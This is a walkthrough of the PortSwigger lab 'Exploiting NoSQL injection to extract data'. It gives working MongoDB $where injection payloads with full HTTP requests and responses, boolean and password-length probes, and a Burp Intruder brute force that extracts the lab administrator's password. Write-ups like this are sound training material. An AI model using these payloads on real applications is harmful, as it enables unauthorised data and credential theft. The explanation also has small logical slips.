Exploiting NoSQL injection to extract data
Exploiting NoSQL injection to extract data
Platform: PortSwigger | Category: NoSQL injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, NoSQL injection
Summary
Walkthrough of the PortSwigger Web Security Academy lab Exploiting NoSQL injection to extract data (NoSQL injection). This lab demonstrates a nosql injection vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — NoSQL injection
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :
Overview :
Exploiting syntax injection to extract data
In many NoSQL databases, some query operators or functions can run limited JavaScript code, such as MongoDB's $where operator and mapReduce() function. This means that, if a vulnerable application uses these operators or functions, the database may evaluate the JavaScript as part of the query. You may therefore be able to use JavaScript functions to extract data from the database.
Exfiltrating data in MongoDB
Consider a vulnerable application that allows users to look up other registered usernames and displays their role. This triggers a request to the URL: https://insecure-website.com/user/lookup?username=admin
This results in the following NoSQL query of the users collection:
json read-only • copy allowed{"$where":"this.username == 'admin'"}
As the query uses the $where operator, you can attempt to inject JavaScript functions into this query so that it returns sensitive data. For example, you could send the following payload:
json read-only • copy allowedadmin' && this.password[0] == 'a' || 'a'=='b
This returns the first character of the user's password string, enabling you to extract the password character by character.
You could also use the JavaScript match() function to extract information. For example, the following payload enables you to identify whether the password contains digits:
json read-only • copy allowedadmin' && this.password.match(/\d/) || 'a'=='b
Solution :
Login as wiener.
The following is the request & response sent .
Request -
http read-only • copy allowedGET /user/lookup?user=wiener'+' HTTP/1.1 Host: 0a5a000604a69386817f4d0c00d50033.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://0a5a000604a69386817f4d0c00d50033.web-security-academy.net/my-account?id=wiener Connection: close Cookie: session=IxSUIRgjxiu4z9R8PqzaavxdpaT460zx Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
Response -
http read-only • copy allowedHTTP/1.1 200 OK Date: Mon, 06 Nov 2023 05:10:55 GMT Content-Type: application/json; charset=utf-8 Content-Length: 81 Connection: close X-Frame-Options: SAMEORIGIN Via: HTTP/1.1 m_proxy_che2 Via: HTTP/1.1 s_proxy_che2 { "username": "wiener", "email": "wiener@normal-user.net", "role": "user" }
The response contains the username , email & also the role of that user.
Inserting a ' in the request ie (user=wiener')causes an error in response .
json read-only • copy allowed{ "message": "There was an error getting user details" }
The backend query might look something like this - this.user == 'wiener'
This input likely results in an error because the application is attempting to execute a NoSQL query and the single quote (') is prematurely terminating the query, causing a syntax error - (
user='wiener'').
But upon sending wiener'%2b' (URL encoded form of wiener'+') returns the details of wiener as usual.
json read-only • copy allowedHTTP/1.1 200 OK Date: Mon, 06 Nov 2023 05:13:42 GMT Content-Type: application/json; charset=utf-8 Content-Length: 81 Connection: close X-Frame-Options: SAMEORIGIN Via: HTTP/1.1 m_proxy_mum1 Via: HTTP/1.1 s_proxy_mum1 { "username": "wiener", "email": "wiener@normal-user.net", "role": "user" }
The plus sign (+) is acting as a concatenation or a way to continue the query. So, the resulting query might look like user=wiener' + '', and the plus sign helps to combine the intended query with the rest of the query, making it syntactically correct and allowing the query to proceed.
By this we can understand that the injected nosql query is being evaluated at the backend.
Injecting boolean conditions -
False condition:
Inject ?user=wiener' && '1'=='2 , this triggers the following error in response.
http read-only • copy allowedHTTP/1.1 200 OK Date: Mon, 06 Nov 2023 05:53:40 GMT Content-Type: application/json; charset=utf-8 Content-Length: 38 Connection: close X-Frame-Options: SAMEORIGIN Via: HTTP/1.1 m_proxy_mum1 Via: HTTP/1.1 s_proxy_mum1 { "message": "Could not find user" }
True condition:
Inject ?user=wiener' && '1'=='1 , this results ina successful response .
http read-only • copy allowedHTTP/1.1 200 OK Date: Mon, 06 Nov 2023 05:57:20 GMT Content-Type: application/json; charset=utf-8 Content-Length: 81 Connection: close X-Frame-Options: SAMEORIGIN Via: HTTP/1.1 m_proxy_che2 Via: HTTP/1.1 s_proxy_che2 { "username": "wiener", "email": "wiener@normal-user.net", "role": "user" }
Finding the length of password :
To find the length of the password , we can use the following query
sql read-only • copy allowed?user=administrator' && this.password.length < 30 || 'a'=='b
We can stop at <30 but since the query has a ' at the end, we provide the OR query ie(** || 'a'=='a**). Note that we don't end the equal statement with a
'because there is a trailing'at the end of the query getting added automatically at the end.
So the request looks like ,
http read-only • copy allowedGET /user/lookup?user=administrator'%20%26%26%20this.password.length%20%3c%2030%20%7c%7c%20'a'%3d%3d'b HTTP/1.1 Host: 0a900010049b475283fbcdf900820099.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://0a900010049b475283fbcdf900820099.web-security-academy.net/my-account?id=wiener Connection: close Cookie: session=oWJad6obyaXSGiOE2hIcpAZ3ZXwcrhGS Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
The response shows the email of admin. It means the query is executed successfully & confirming that the password length is less than 30.
http read-only • copy allowedHTTP/1.1 200 OK Date: Mon, 06 Nov 2023 06:02:34 GMT Content-Type: application/json; charset=utf-8 Content-Length: 96 Connection: close X-Frame-Options: SAMEORIGIN Via: HTTP/1.1 m_proxy_che2 Via: HTTP/1.1 s_proxy_che2 { "username": "administrator", "email": "admin@normal-user.net", "role": "administrator" }
When we provide this.password.length < 8, the query fails & we get a failed response ("message": "Could not find user").
So the length of admin's password is 8.
Finding admin's password -
Now we ned to bruteforce each position from 0-7 by bruteforcing it with a-z to find the password.
Modify the nosql query payload as follows.
nosql read-only • copy alloweduser=administrator' && this.password[0]=='a
Send the request to Intruder tab, Add the this.password[**$0$**] as payload 1 and this.password[$0$]='**$a$** as paylaod 2.
Payload 1 - Numbers from 1-10 Payload 2 - Characters from a-z
Click on start attack.
Now we have the admin's password - oiwpuaam
Login as admin to solve the lab.
Key Takeaways / Lessons
- Understanding NoSQL injection detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Exploiting NoSQL injection to extract data